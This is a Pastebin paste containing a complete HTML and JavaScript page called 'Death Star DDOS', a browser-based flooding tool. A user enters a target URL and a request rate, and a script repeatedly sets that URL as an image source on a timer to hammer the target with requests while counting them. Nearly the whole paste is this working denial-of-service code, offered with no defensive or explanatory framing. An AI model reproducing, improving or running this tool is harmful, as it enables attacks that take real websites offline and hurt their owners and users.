Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <h2 style="background-color:black;color:red">
- DEATH STAR DDOS
- <body bgcolor="silver">
- </body>
- <title>Death Star ddos</title>
- <style type="text/css">input, button { width: 250px; height: 30px; font-size: 20px; font-weight: bold; margin: 20px 0 20px 0; }</style>
- </head>
- <body style="font-family: Helvetica; font-size: 16px; text-align: center">
- <h1>J0in th3 d4rk sid3!</h1>
- <div class="title"><span style="color: red">*</span>Target URL</div>
- <input type="text" id="targetURL" />
- <div class="title">Requests per Second</div>
- <input type="text" id="rps" value="10" /><br/>
- <button id="fireButton" style="height: 60px; font-size: 14px">Unleash the Death Star</button>
- <div style="color: #8cbc26">Requests Sent</div>
- <div style="font-size: 40px; margin-bottom: 20px" id="succeededCtr">0</div>
- <script>
- var fireInterval;
- var isFiring = false;
- document.getElementById("fireButton").onclick = function () {
- if (isFiring) {
- clearInterval(fireInterval);
- isFiring = false;
- this.innerHTML = "Unleash the Death Star";
- }
- else {
- isFiring = true;
- this.innerHTML = "Stop Firing";
- fireInterval = setInterval(
- function () {
- var img = new Image();
- // URL may not be an image
- img.onerror = img.onabort = img.onload = function() { document.getElementById("succeededCtr").innerHTML++; };
- img.setAttribute("src", document.getElementById("targetURL").value);
- },
- (1000 / parseInt(document.getElementById("rps").value) | 1)
- );
- }
- };
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement